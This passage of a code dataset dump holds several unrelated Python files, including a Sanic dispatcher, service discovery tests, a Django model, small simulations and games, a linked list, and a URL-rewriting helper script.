middleware(request)\n if isawaitable(response):\n response = await response\n if response:\n break\n if not response and not streaming_response:\n if isinstance(application, WsgiApplication): # child is wsgi_app\n self._call_wsgi_app(script, path, request, application.app, replaced_write_callback)\n else: # must be a sanic application\n request.app = None # Remove parent app from request to child app\n await application.app.handle_request(request, replaced_write_callback, replaced_stream_callback)\n\n if application.apply_middleware and parent_app.response_middleware:\n request.app = parent_app\n for _middleware in parent_app.response_middleware:\n _response = _middleware(request, response)\n if isawaitable(_response):\n _response = await _response\n if _response:\n response = _response\n break\n\n while isawaitable(response):\n response = await response\n if streaming_response:\n return real_stream_callback(streaming_response)\n return real_write_callback(response)\n\n\nclass SanicDispatcherMiddlewareController(object):\n __slots__ = ['parent_app', 'parent_handle_request', 'applications', 'url_prefix', 'filter_host', 'hosts']\n\n def __init__(self, app, url_prefix=None, host=None):\n \"\"\"\n :param Sanic app:\n :param url_prefix:\n \"\"\"\n self.parent_app = app\n self.applications = {}\n self.url_prefix = None if url_prefix is None else str(url_prefix).rstrip('/')\n self.hosts = set()\n if host:\n self.filter_host = host\n self.hosts.add(host)\n else:\n self.filter_host = None\n # Woo, monkey-patch!\n self.parent_handle_request = app.handle_request\n self.parent_app.handle_request = self.handle_request\n\n def _determine_uri(self, url_prefix, host=None):\n\n uri = ''\n if self.url_prefix is not None:\n uri = self.url_prefix\n if host is not None:\n uri = str(host) + uri\n self.hosts.add(host)\n elif self.filter_host is not None:\n uri = str(self.filter_host) + uri\n uri += url_prefix\n return uri\n\n def register_sanic_application(self, application, url_prefix, host=None, apply_middleware=False):\n \"\"\"\n :param Sanic application:\n :param url_prefix:\n :param host:\n :param apply_middleware:\n :return:\n \"\"\"\n assert isinstance(application, Sanic), \"Pass only instances of Sanic to register_sanic_application.\"\n if host is not None and isinstance(host, (list, set)):\n for _host in host:\n self.register_sanic_application(application, url_prefix, host=_host,\n apply_middleware=apply_middleware)\n return\n registered_service_url = self._determine_uri(url_prefix, host)\n self.applications[registered_service_url] = SanicApplication(application, apply_middleware)\n self._update_request_handler()\n\n def register_wsgi_application(self, application, url_prefix, host=None, apply_middleware=False):\n \"\"\"\n :param application:\n :param url_prefix:\n :param apply_middleware:\n :return:\n \"\"\"\n if host is not None and isinstance(host, (list, set)):\n for _host in host:\n self.register_wsgi_application(application, url_prefix, host=_host,\n apply_middleware=apply_middleware)\n return\n\n registered_service_url = self._determine_uri(url_prefix, host)\n self.applications[registered_service_url] = WsgiApplication(application, apply_middleware)\n self._update_request_handler()\n\n def unregister_application(self, application, all_matches=False):\n if isinstance(application, (SanicApplication, WsgiApplication)):\n application = application.app\n urls_to_unregister = []\n for url, reg_application in self.applications.items():\n if reg_application.app == application:\n urls_to_unregister.append(url)\n if not all_matches:\n break\n for url in urls_to_unregister:\n del self.applications[url]\n self._update_request_handler()\n\n def unregister_prefix(self, url_prefix):\n registered_service_url = ''\n if self.url_prefix is not None:\n registered_service_url += self.url_prefix\n registered_service_url += url_prefix\n try:\n del self.applications[registered_service_url]\n except KeyError:\n pass\n self._update_request_handler()\n\n def _update_request_handler(self):\n \"\"\"\n Rebuilds the SanicDispatcherMiddleware every time a new application is registered\n :return:\n \"\"\"\n dispatcher = SanicDispatcherMiddleware(self.parent_app, self.parent_handle_request, self.applications,\n self.hosts)\n self.parent_app.handle_request = dispatcher\n\n async def handle_request(self, request, write_callback, stream_callback):\n \"\"\"\n This is only called as a backup handler if _update_request_handler was not yet called.\n :param request:\n :param write_callback:\n :param stream_callback:\n :return:\n \"\"\"\n dispatcher = SanicDispatcherMiddleware(self.parent_app, self.parent_handle_request, self.applications)\n self.parent_app.handle_request = dispatcher # save it for next time\n retval = dispatcher(request, write_callback, stream_callback)\n if isawaitable(retval):\n retval = await retval\n return retval\n","sub_path":"sanic_dispatcher/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":15637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"73805651","text":"\"\"\"\nTests for Discovery.\n\nAdditional tests can be found in quark/tests/mdk_test.q.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom builtins import range\nfrom builtins import object\n\nfrom unittest import TestCase\nfrom json import dumps\n\nfrom hypothesis.stateful import GenericStateMachine\nfrom hypothesis import strategies as st\n\nfrom .common import fake_runtime\n\nfrom mdk_discovery import (\n Discovery, Node, NodeActive, NodeExpired, ReplaceCluster,\n CircuitBreakerFactory, StaticRoutes,\n)\n\n\ndef create_disco():\n \"\"\"\n Create a new Discovery instance.\n \"\"\"\n runtime = fake_runtime()\n disco = Discovery(runtime)\n disco.onStart(runtime.dispatcher)\n return disco\n\n\ndef create_node(address, service=\"myservice\"):\n \"\"\"Create a new Node.\"\"\"\n node = Node()\n node.service = service\n node.version = \"1.0\"\n node.address = address\n node.properties = {}\n return node\n\n\nclass DiscoveryTests(TestCase):\n \"\"\"Tests for Discovery.\"\"\"\n\n def assertNodesEqual(self, a, b):\n \"\"\"The two Nodes have the same values.\"\"\"\n self.assertEqual((a.version, a.address, a.service, a.properties),\n (b.version, b.address, b.service, b.properties))\n\n def resolve(self, disco, service, version):\n \"\"\"Resolve a service to a Node.\"\"\"\n return disco._resolve(service, version).value().getValue()\n\n def test_active(self):\n \"\"\"NodeActive adds a Node to Discovery.\"\"\"\n disco = create_disco()\n node = create_node(\"somewhere\")\n disco.onMessage(None, NodeActive(node))\n self.assertEqual(disco.knownNodes(\"myservice\"), [node])\n\n def test_resolve(self):\n \"\"\"resolve() returns a Node matching an active one.\"\"\"\n disco = create_disco()\n node = create_node(\"somewhere\")\n node.properties = {\"x\": 1}\n disco.onMessage(None, NodeActive(node))\n resolved = self.resolve(disco, \"myservice\", \"1.0\")\n self.assertEqual(\n (resolved.version, resolved.address, resolved.service, resolved.properties),\n (\"1.0\", \"somewhere\", \"myservice\", {\"x\": 1}))\n\n def test_activeUpdates(self):\n \"\"\"NodeActive updates a Node with same address to new version and properties.\"\"\"\n disco = create_disco()\n node = create_node(\"somewhere\")\n disco.onMessage(None, NodeActive(node))\n node2 = create_node(\"somewhere\")\n node2.version = \"1.7\"\n node2.properties = {\"a\": 123}\n disco.onMessage(None, NodeActive(node2))\n self.assertEqual(disco.knownNodes(\"myservice\"), [node2])\n resolved = self.resolve(disco, \"myservice\", \"1.7\")\n self.assertEqual((resolved.version, resolved.properties),\n (\"1.7\", {\"a\": 123}))\n\n def test_activeTriggersWaitingPromises(self):\n \"\"\"\n NodeActive causes waiting resolve() Promises to get a Node.\n \"\"\"\n disco = create_disco()\n result = []\n promise = disco._resolve(\"myservice\", \"1.0\")\n promise.andThen(result.append)\n self.assertFalse(result)\n\n node = create_node(\"somewhere\")\n disco.onMessage(None, NodeActive(node))\n self.assertNodesEqual(result[0], node)\n\n def test_expired(self):\n \"\"\"NodeExpired removes a Node from Discovery.\"\"\"\n disco = create_disco()\n node = create_node(\"somewhere\")\n disco.onMessage(None, NodeActive(node))\n disco.onMessage(None, NodeExpired(node))\n self.assertEqual(disco.knownNodes(\"myservice\"), [])\n\n def test_expiredUnknown(self):\n \"\"\"NodeExpired does nothing for unknown Node.\"\"\"\n disco = create_disco()\n node = create_node(\"somewhere\")\n disco.onMessage(None, NodeExpired(node))\n self.assertEqual(disco.knownNodes(\"myservice\"), [])\n\n def test_replace(self):\n \"\"\"\n ReplaceCluster replaces the contents of a Cluster (collection of Nodes for\n the same service name).\n \"\"\"\n disco = create_disco()\n node1 = create_node(\"somewhere\")\n node2 = create_node(\"somewhere2\")\n node3 = create_node(\"somewhere3\")\n node4 = create_node(\"somewhere4\")\n disco.onMessage(None, NodeActive(node1))\n disco.onMessage(None, NodeActive(node2))\n disco.onMessage(None, ReplaceCluster(\"myservice\", [node3, node4]))\n self.assertEqual(disco.knownNodes(\"myservice\"), [node3, node4])\n\n def test_replaceEmpty(self):\n \"\"\"\n ReplaceCluster register nodes when the Discovery source is empty.\n \"\"\"\n disco = create_disco()\n node1 = create_node(\"somewhere\")\n node2 = create_node(\"somewhere2\")\n disco.onMessage(None, ReplaceCluster(\"myservice\", [node1, node2]))\n self.assertEqual(disco.knownNodes(\"myservice\"), [node1, node2])\n\n def test_replaceTriggersWaitingPromises(self):\n \"\"\"\n ReplaceCluster causes waiting resolve() Promises to get a Node.\n \"\"\"\n disco = create_disco()\n result = []\n promise = disco._resolve(\"myservice\", \"1.0\")\n promise.andThen(result.append)\n self.assertFalse(result)\n\n node = create_node(\"somewhere\")\n disco.onMessage(None, ReplaceCluster(\"myservice\", [node]))\n self.assertNodesEqual(result[0], node)\n\n def test_activeDoesNotMutate(self):\n \"\"\"\n A resolved Node is not mutated by a new NodeActive for same address.\n \"\"\"\n disco = create_disco()\n node = create_node(\"somewhere\")\n disco.onMessage(None, NodeActive(node))\n resolved_node = self.resolve(disco, \"myservice\", \"1.0\")\n\n node2 = create_node(\"somewhere\")\n node2.version = \"1.3\"\n disco.onMessage(None, NodeActive(node2))\n self.assertEqual(resolved_node.version, \"1.0\")\n\n def test_replaceDoesNotMutate(self):\n \"\"\"\n A resolved Node is not mutated by a new ReplaceCluster containing a Node\n with the same address.\n \"\"\"\n disco = create_disco()\n node = create_node(\"somewhere\")\n disco.onMessage(None, NodeActive(node))\n resolved_node = self.resolve(disco, \"myservice\", \"1.0\")\n\n node2 = create_node(\"somewhere\")\n node2.version = \"1.3\"\n disco.onMessage(None, ReplaceCluster(\"myservice\", [node2]))\n self.assertEqual(resolved_node.version, \"1.0\")\n\n def test_nodeCircuitBreaker(self):\n \"\"\"success()/failure() enable and disable the Node.\"\"\"\n disco = create_disco()\n node = create_node(\"somewhere\")\n disco.onMessage(None, NodeActive(node))\n resolved_node = self.resolve(disco, \"myservice\", \"1.0\")\n\n avail1 = resolved_node.available()\n # Default threshold in CircuitBreaker is three failures:\n resolved_node.failure()\n resolved_node.failure()\n resolved_node.failure()\n avail2 = resolved_node.available()\n resolved_node.success()\n avail3 = resolved_node.available()\n self.assertEqual((avail1, avail2, avail3), (True, False, True))\n\n def test_activeDoesNotDisableCircuitBreaker(self):\n \"\"\"\n If a Node has been disabled by a CircuitBreaker then NodeActive with same\n Node doesn't re-enable it.\n \"\"\"\n disco = create_disco()\n node = create_node(\"somewhere\")\n disco.onMessage(None, NodeActive(node))\n resolved_node = self.resolve(disco, \"myservice\", \"1.0\")\n # Uh-oh it's a pretty broken node:\n for i in range(10):\n resolved_node.failure()\n\n node = create_node(\"somewhere\")\n disco.onMessage(None, NodeActive(node))\n resolved_node2 = self.resolve(disco, \"myservice\", \"1.0\")\n self.assertEqual(resolved_node2, None)\n resolved_node.success()\n self.assertNodesEqual(self.resolve(disco, \"myservice\", \"1.0\"), node)\n\n def test_replaceDoesNotDisableCircuitBreaker(self):\n \"\"\"\n If a Node has been disabled by a CircuitBreaker then ReplaceCluster with\n same Node doesn't re-enable it.\n \"\"\"\n disco = create_disco()\n node = create_node(\"somewhere\")\n disco.onMessage(None, NodeActive(node))\n resolved_node = self.resolve(disco, \"myservice\", \"1.0\")\n # Uh-oh it's a pretty broken node:\n for i in range(10):\n resolved_node.failure()\n\n node = create_node(\"somewhere\")\n disco.onMessage(None, ReplaceCluster(\"myservice\", [node]))\n resolved_node2 = self.resolve(disco, \"myservice\", \"1.0\")\n self.assertEqual(resolved_node2, None)\n resolved_node.success()\n self.assertNodesEqual(self.resolve(disco, \"myservice\", \"1.0\"), node)\n\n\nclass CircuitBreakerTests(TestCase):\n \"\"\"\n Tests for CircuitBreaker.\n \"\"\"\n def setUp(self):\n runtime = fake_runtime()\n self.time = runtime.getTimeService()\n self.circuit_breaker = CircuitBreakerFactory(runtime).create();\n\n def test_noFailure(self):\n \"\"\"If not failures occur the node is available.\"\"\"\n for i in range(10):\n self.assertTrue(self.circuit_breaker.available())\n\n def test_break(self):\n \"\"\"If threshold number of failures happen the node becomes unavailable.\"\"\"\n self.circuit_breaker.failure()\n available1 = self.circuit_breaker.available()\n self.circuit_breaker.failure()\n available2 = self.circuit_breaker.available()\n self.circuit_breaker.failure()\n available3 = self.circuit_breaker.available()\n available4 = self.circuit_breaker.available()\n self.assertEqual((available1, available2, available3, available4),\n (True, True, False, False))\n\n def test_timeoutReset(self):\n \"\"\"After enough time has passed the CircuitBreaker resets to available.\"\"\"\n for i in range(3):\n self.circuit_breaker.failure()\n self.time.advance(29.0)\n available29sec = self.circuit_breaker.available()\n self.time.advance(1.1)\n available30sec = self.circuit_breaker.available()\n self.assertEqual((available29sec, available30sec),\n (False, True))\n\n def test_successReset(self):\n \"\"\"\n A successful connection resets the threshold for a Node becoming\n unavailable.\n \"\"\"\n for i in range(3):\n self.circuit_breaker.failure()\n self.circuit_breaker.success()\n available0 = self.circuit_breaker.available()\n self.circuit_breaker.failure()\n available1 = self.circuit_breaker.available()\n self.circuit_breaker.failure()\n available2 = self.circuit_breaker.available()\n self.circuit_breaker.failure()\n available3 = self.circuit_breaker.available()\n available4 = self.circuit_breaker.available()\n self.assertEqual((available0, available1, available2, available3, available4),\n (True, True, True, False, False))\n\nclass FakeDiscovery(object):\n \"\"\"Parallel, simplified Discovery state tracking implementation.\"\"\"\n\n def __init__(self):\n self.services = {}\n\n def is_empty(self):\n return all([not addresses for addresses in list(self.services.values())])\n\n def add(self, service, address):\n self.services.setdefault(service, set()).add(address)\n\n def remove(self, service, address):\n if service in self.services:\n addresses = self.services[service]\n if address in addresses:\n addresses.remove(address)\n\n def replace(self, service, addresses):\n self.services[service] = set(addresses)\n\n def compare(self, real_discovery):\n \"\"\"Compare us to a real Discovery instance, assert same state.\"\"\"\n real_services = {}\n for name, cluster in list(real_discovery.services.items()):\n real_services[name] = set(node.address for node in cluster.nodes)\n assert self.services == real_services\n\n\nnice_strings = st.text(alphabet=\"abcdefghijklmnop\", min_size=1, max_size=10)\n# Add a random node:\nadd_strategy = st.tuples(st.just(\"add\"),\n st.tuples(nice_strings, nice_strings))\n# Replace a random service:\nreplace_strategy = st.tuples(st.just(\"replace\"),\n st.tuples(nice_strings, st.lists(nice_strings)))\n\nclass StatefulDiscoveryTesting(GenericStateMachine):\n \"\"\"\n State machine for testing Discovery.\n \"\"\"\n def __init__(self):\n self.real = create_disco()\n self.fake = FakeDiscovery()\n\n def remove_strategy(self):\n def get_address(service_name):\n return st.tuples(st.just(service_name), st.sampled_from(\n self.fake.services[service_name]))\n return st.tuples(st.just(\"remove\"), (\n st.sampled_from(list(self.fake.services.keys())).flatmap(get_address)))\n\n def steps(self):\n result = add_strategy | replace_strategy\n # Replace or add to a known service cluster:\n if self.fake.services:\n result |= st.tuples(st.just(\"replace\"),\n st.tuples(st.sampled_from(list(self.fake.services.keys())),\n st.lists(nice_strings)))\n result |= st.tuples(st.just(\"add\"),\n st.tuples(st.sampled_from(list(self.fake.services.keys())),\n nice_strings))\n # Remove a known address from known cluster:\n if not self.fake.is_empty():\n result |= self.remove_strategy()\n return result\n\n def execute_step(self, step):\n command, args = step\n if command == \"add\":\n service, address = args\n message = NodeActive(create_node(address, service))\n self.fake.add(service, address)\n elif command == \"remove\":\n service, address = args\n message = NodeExpired(create_node(address, service))\n self.fake.remove(service, address)\n elif command == \"replace\":\n service, addresses = args\n nodes = [create_node(address, service) for address in addresses]\n message = ReplaceCluster(service, nodes)\n self.fake.replace(service, addresses)\n else:\n raise AssertionError(\"Unknown command.\")\n\n self.real.onMessage(None, message)\n self.fake.compare(self.real)\n\nStatefulDiscoveryTests = StatefulDiscoveryTesting.TestCase\n\n\nclass StaticDiscoverySourceTests(TestCase):\n \"\"\"Tests for StaticDiscoverySource.\"\"\"\n\n def setUp(self):\n self.runtime = fake_runtime()\n self.disco = Discovery(self.runtime)\n self.runtime.dispatcher.startActor(self.disco)\n\n def test_active(self):\n \"\"\"The nodes the StaticRoutes was registered with are active.\"\"\"\n nodes = [create_node(\"a\", \"service1\"),\n create_node(\"b\", \"service2\")]\n static = StaticRoutes(nodes).create(self.disco, self.runtime)\n self.runtime.dispatcher.startActor(static)\n\n self.assertEqual(self.disco.knownNodes(\"service1\"), [nodes[0]])\n self.assertEqual(self.disco.knownNodes(\"service2\"), [nodes[1]])\n\n def test_parseJSON(self):\n \"\"\"\n Nodes encoded as JSON and loaded with StaticRoutes.parseJSON are registered\n as active.\n \"\"\"\n static = StaticRoutes.parseJSON(dumps(\n [{\"service\": \"service1\", \"address\": \"a\", \"version\": \"1.0\"},\n {\"service\": \"service2\", \"address\": \"b\", \"version\": \"2.0\"}]\n )).create(self.disco, self.runtime)\n\n self.runtime.dispatcher.startActor(static)\n\n [node1] = self.disco.knownNodes(\"service1\")\n self.assertEqual((node1.address, node1.version), (\"a\", \"1.0\"))\n [node2] = self.disco.knownNodes(\"service2\")\n self.assertEqual((node2.address, node2.version), (\"b\", \"2.0\"))\n","sub_path":"unittests/test_discovery.py","file_name":"test_discovery.py","file_ext":"py","file_size_in_byte":15770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"514678088","text":"# -*- coding: utf-8 -*-\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom trigger import Trigger\nfrom action import Action\n\nclass Task(models.Model):\n user = models.ForeignKey(User, related_name=\"tasks\")\n trigger = models.OneToOneField(Trigger)\n action = models.OneToOneField(Action)\n parent = models.ForeignKey(\"self\", null=True, blank=True, related_name=\"children\")\n description = models.CharField(max_length=140)\n public = models.BooleanField(default=False)\n created_at = models.DateTimeField(auto_now_add=True)\n count = models.IntegerField(default=1)\n\n def get_absolute_url(self):\n return '/tasks/%i/' % self.id\n\n def clone(self, user):\n action = self.action.clone()\n trigger = self.trigger.clone()\n task = Task(user=user, trigger=trigger, action=action, parent=self, description=self.description, public=self.public)\n task.save()\n parent = task.parent\n while parent:\n parent.count += 1\n parent.save()\n parent = parent.parent\n return task\n","sub_path":"server/ripple/app/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"204910469","text":"\"\"\"\nPhilosophy of Time & Time Travel, Final Project\n\nAuthor: Josh Kerber\nDate: 2 June 2018\nDescription: Smoke in corner of the room, a simulation\n\"\"\"\n\nimport random\n\n# import all objects and custom libraries\nimport libraries.constants as constants\nimport libraries.graphics as graphics\nfrom objects.SmokeParticle import SmokeParticle\nfrom objects.Room import Room\n\n# instantiate room\nroom = Room()\n\n# simulate smoke particles moving through the room\nprint('running simulation...')\nfor ms in range(constants.NUM_MILLISECONDS + 1):\n for index in room.particles:\n room.moveParticle(index) # execute move\n\n # plot graphics every 100th move\n if ms % 100 == 0:\n room.plot('{} seconds elapsed'.format(str(ms / 1000), constants.NUM_MILLISECONDS))\nroom.plot('{} seconds elapsed – end of simulation'.format(constants.NUM_MILLISECONDS / 1000))\n\n# determine how many particles are in corner\ninCorner = 0\nfor index in room.particles:\n particle = room.particles[index]\n if particle.isInCorner():\n inCorner += 1\nprint(inCorner, 'in corner')\ngraphics.showPlot()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"17390575","text":"import time\nimport datetime\nimport urllib.request, json\n\n#Päringu saime https://dashboard.elering.ee/documentation.html lehelt.\nwith urllib.request.urlopen(\"https://dashboard.elering.ee/api/nps/price?start=&end=\") as url:\n #võtab eleringist stringina tänased hinnad\n jsonstring = json.loads(url.read().decode())\n data =(jsonstring['data'])\n eesti = data['ee']\n #kirjutab andmed faili \n with open('todaydata.txt', 'w') as outfile:\n\n now = datetime.datetime.now()\n\n for i in range (0, now.hour) :\n eestiajad =(eesti[i])\n kellaaeg = (eestiajad['timestamp'])\n price = (eestiajad['price'])\n time = datetime.datetime.fromtimestamp(kellaaeg).isoformat()\n json.dump(price, outfile)\n json.dump(time, outfile)\n outfile.write('\\n')\n","sub_path":"todays-prices-from-elering.py","file_name":"todays-prices-from-elering.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"223975896","text":"import os\nfrom correct_ending_slash import *\n\ndef get_files_in_folder(folder_path):\n # returns a list of all files in a particular folder\n dirpath = correct_ending_slash(folder_path)\n ls = os.listdir(dirpath)\n # ls is a list of files and subdirectories\n # we want to omit the subdirectories\n ou = []\n for x in ls:\n fullpath = dirpath + x # adding strings is safe because dirpath will always have an ending slash\n if os.path.isfile(fullpath):\n ou.append(fullpath)\n return ou # ou is a list of full pathnames to the desired files\n","sub_path":"get_files_in_folder.py","file_name":"get_files_in_folder.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"229248891","text":"class Solution(object):\n def convert(self, s, numRows):\n if numRows == 1 or numRows >= len(s):\n return s\n L = [''] * numRows# 每一行一个字符串\n index, step = 0, 1# 位置和步长\n for i in s:\n L[index] += i\n if index == 0:\n step = 1\n elif index == numRows - 1:# 若当前扫描到了最后行 则步长为-1,倒着填充值\n step = -1\n index += step\n return ''.join(L)\n\n\nif __name__ == \"__main__\":\n print(Solution().convert('caizhehuan', 4))","sub_path":"006_ZigZagConversion.py","file_name":"006_ZigZagConversion.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"110956388","text":"from sqlalchemy import create_engine\nfrom sqlalchemy import Table,Column,Integer,String,MetaData,ForeignKey\nimport random\nengine = create_engine('sqlite:///sql.db')\n\nfirstname = ['Jana', 'Igor', 'Ira', 'Ivan', 'Yura', 'Ruslan']\nlastname = ['Huk','Bah','Viola','Gudan','Barbutsa']\n\nmetadata = MetaData()\n\nauthor = Table('author', metadata,\n Column('id', Integer, primary_key=True, unique=True),\n Column('firstname', String(20)),\n Column('surname', String(20))\n )\n\nmusic = Table('music',metadata,\n Column('id',Integer,primary_key=True, unique=True),\n Column('name',String(50)),\n Column('type',String(30)),\n Column('author_id',None,ForeignKey('author.id'))\n )\n\nmetadata.create_all(engine)\nsession = engine.connect()\n\n#Execute insert\n#ins_author = author.insert().values(firstname=random.choice(firstname),surname=random.choice(lastname))\n#ins_music = music.insert()\n\n\n\n#Executing one record\n#session.execute(ins_author)\n#session.execute(ins_music,name='Hay',type='type',author_id=1)\n\n#Executing multiple records\n#session.execute(ins_music,[\n# { 'name': 'Good','type':'pop','author_id':2 },\n# { 'name': 'Bad','type':'Rok','author_id':3 },\n# { 'name': 'Awesome','type':'bass','author_id':5}\n# ])\n\n#Selecting\n\nfrom sqlalchemy import select\n\nlist_author = select([author])\nresult = session.execute(list_author)\nprint(result)\n\nstroka = result.fetchone()\n\nfor row in result:\n print(row)\nprint(stroka['id'])\nprint(stroka[author.c.firstname])\nprint(stroka[2])\nresult.close()\n\nlist_author_name = select([author.c.firstname])\nfor row in session.execute(select([music,author]).where(author.c.id == music.c.author_id)):\n print(row)\n\nresult_name = session.execute(list_author_name)\n\nprint(result_name.fetchone())\n","sub_path":"connect_sqlite.py","file_name":"connect_sqlite.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"19826122","text":"# крестики-нолики\nfield = {'1': ' ', '2': ' ', '3': ' ',\n '4': ' ', '5': ' ', '6': ' ',\n '7': ' ', '8': ' ', '9': ' '}\n\n\ndef print_field(ololo):\n print(ololo['1'] + ' | ' + ololo['2'] + ' | ' + ololo['3'])\n print('- + - + -')\n print(ololo['4'] + ' | ' + ololo['5'] + ' | ' + ololo['6'])\n print('- + - + -')\n print(ololo['7'] + ' | ' + ololo['8'] + ' | ' + ololo['9'])\n\n\ndef assign_value(value):\n if 0 < int(value) < 10:\n if len(counter) % 2 == 0:\n field[value] = 'X'\n else:\n field[value] = 'O'\n else:\n print('Мимо. Укажите значение от 1 до 9')\n\n\ndef winner(field):\n if field['1'] == field['2'] == field['3'] == 'X' or field['4'] == field['5'] == field['6'] == 'X' \\\n or field['7'] == field['8'] == field['9'] == 'X' or field['1'] == field['4'] == field['7'] == 'X' \\\n or field['2'] == field['5'] == field['8'] == 'X' or field['3'] == field['6'] == field['9'] == 'X' \\\n or field['1'] == field['5'] == field['9'] == 'X' or field['3'] == field['5'] == field['7'] == 'X':\n print('Игра окончена. Победили КРЕСТИКИ')\n exit()\n if field['1'] == field['2'] == field['3'] == 'O' or field['4'] == field['5'] == field['6'] == 'O' \\\n or field['7'] == field['8'] == field['9'] == 'O' or field['1'] == field['4'] == field['7'] == 'O' \\\n or field['2'] == field['5'] == field['8'] == 'O' or field['3'] == field['6'] == field['9'] == 'O' \\\n or field['1'] == field['5'] == field['9'] == 'O' or field['3'] == field['5'] == field['7'] == 'O':\n print('Игра окончена. Победили НОЛИКИ')\n exit()\n\n\ncounter = []\n\nwhile len(counter) < 10:\n print('Укажите поле от 1 до 9')\n step = input()\n assign_value(step)\n counter.append(step)\n print_field(field)\n winner(field)\n","sub_path":"education/XO.py","file_name":"XO.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"252261451","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nfrom __future__ import unicode_literals\nfrom xml.etree import ElementTree\nimport os\nimport sys\nimport yaml\nfrom mm2md import MMTransform\n\ndef main(argv):\n confile = file('/home/rain/doc/FreeMindTools/app.yaml','rb')\n config = yaml.load(confile)\n dirconf = 'file_dir'\n mddir = config[dirconf]['md']\n mmdir = config[dirconf]['mm']\n\n textileFilename = 'wiki.txt'\n mmFilename = argv[1]\n mm = file(os.path.join(mmdir,mmFilename),'rb')\n textile = file(os.path.join(mddir,textileFilename),'wb')\n transform = MMTransform()\n textile.write(transform.mm2textile(mm.read()).encode('utf8'))\n textile.close()\n\nif __name__ == \"__main__\":\n main(sys.argv)\n # main([])","sub_path":"mm2wiki.py","file_name":"mm2wiki.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"439517444","text":"# Sam Cole\n# This is the linked list class\n\n\nclass Node:\n def __init__(self, data=None, next=None):\n self.data = data\n self.next = next\n\n def __repr__(self):\n return repr(self.data)\n\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n self.tail = None\n\n def __repr__(self):\n nodes = []\n curr = self.head\n while curr:\n nodes.append(repr(curr))\n curr = curr.next\n return str(nodes)\n\n def add_to_head(self, data):\n new_node = Node(data)\n if self.head is None:\n self.head = new_node\n self.tail = new_node\n return\n new_node.next = self.head\n self.head = new_node\n\n def add_to_end(self, data):\n new_node = Node(data=data)\n if self.head is not None:\n self.tail.next = new_node\n self.tail = new_node\n else:\n self.head = new_node\n self.tail = self.head\n\n def remove_head(self):\n new_node = self.head\n self.head = self.head.next\n return new_node.data\n\n def remove_end(self):\n current_node = self.head\n previous_node = self.head\n while current_node.next:\n previous_node = current_node\n current_node = current_node.next\n previous_node.next = None\n return current_node.data\n\n def clear(self):\n self.head = None\n\n def search(self, search):\n current_node = self.head\n while current_node.next or current_node.data == search:\n if current_node.data == search:\n return True\n current_node = current_node.next\n return False\n\n def delete_node(self, key):\n # Store head node\n temp = self.head\n\n # If head node itself holds the key to be deleted\n if temp is not None:\n if temp.data == key:\n self.head = temp.next\n temp = None\n return\n\n # Search for the key to be deleted, keep track of the\n # previous node as we need to change 'prev.next'\n while temp is not None:\n if temp.data == key:\n break\n prev = temp\n temp = temp.next\n\n # if key was not present in linked list\n if temp is None:\n return\n\n # Unlink the node from linked list\n prev.next = temp.next\n temp = None\n","sub_path":"LinkedList.py","file_name":"LinkedList.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"331917219","text":"#! /usr/bin/env python\n\nimport argparse\nimport os\nimport re\nimport sys\n\nfrom tempfile import mkstemp\nfrom shutil import move\nfrom os import fdopen, remove\n\nparser = argparse.ArgumentParser(description='Change web url')\nparser.add_argument('-l', '--localhost', help='set ip to localhost',\n action='store_true')\nparser.add_argument('-i', '--ip', help='host ip')\nparser.add_argument('-p', '--port', help='host port', default='8000')\n\nscript_path = os.path.dirname(os.path.abspath(__file__))\nJS_ROOT_URL = os.path.join(script_path, 'static/webapp/main.bundle.js')\nVIEW_CELERY_APP = os.path.join(script_path, 'views.py')\nHTTP = 'http://'\n\n\ndef replace_celery_app(domain):\n\n changed = False\n\n # Create temp file\n fh, abs_path = mkstemp()\n with fdopen(fh, 'w') as new_file:\n with open(VIEW_CELERY_APP) as old_file:\n for line in old_file:\n if not changed and line.startswith('CELERY_APP'):\n r_po = line.find('CELERY_APP')\n s_po = line.find('#')\n if s_po < 0 or s_po > r_po:\n line = 'CELERY_APP = \"' + domain + 'rico\"\\n'\n for i in range(r_po): # put indent\n line = ' ' + line\n changed = True\n new_file.write(line)\n\n # Remove original file\n remove(VIEW_CELERY_APP)\n # Move new file\n move(abs_path, VIEW_CELERY_APP)\n\n\ndef replace_root_url(domain):\n\n changed = False\n\n # Create temp file\n fh, abs_path = mkstemp()\n with fdopen(fh, 'w') as new_file:\n with open(JS_ROOT_URL) as old_file:\n for line in old_file:\n if not changed and 'this.ROOT_URL' in line:\n r_po = line.find('this.ROOT_URL')\n s_po = line.find('/')\n if s_po < 0 or s_po > r_po:\n line = ' this.ROOT_URL = \"' + domain + '\";\\n'\n changed = True\n new_file.write(line)\n\n # Remove original file\n remove(JS_ROOT_URL)\n # Move new file\n move(abs_path, JS_ROOT_URL)\n\nif __name__ == '__main__':\n\n args = parser.parse_args()\n\n if not args.localhost and not 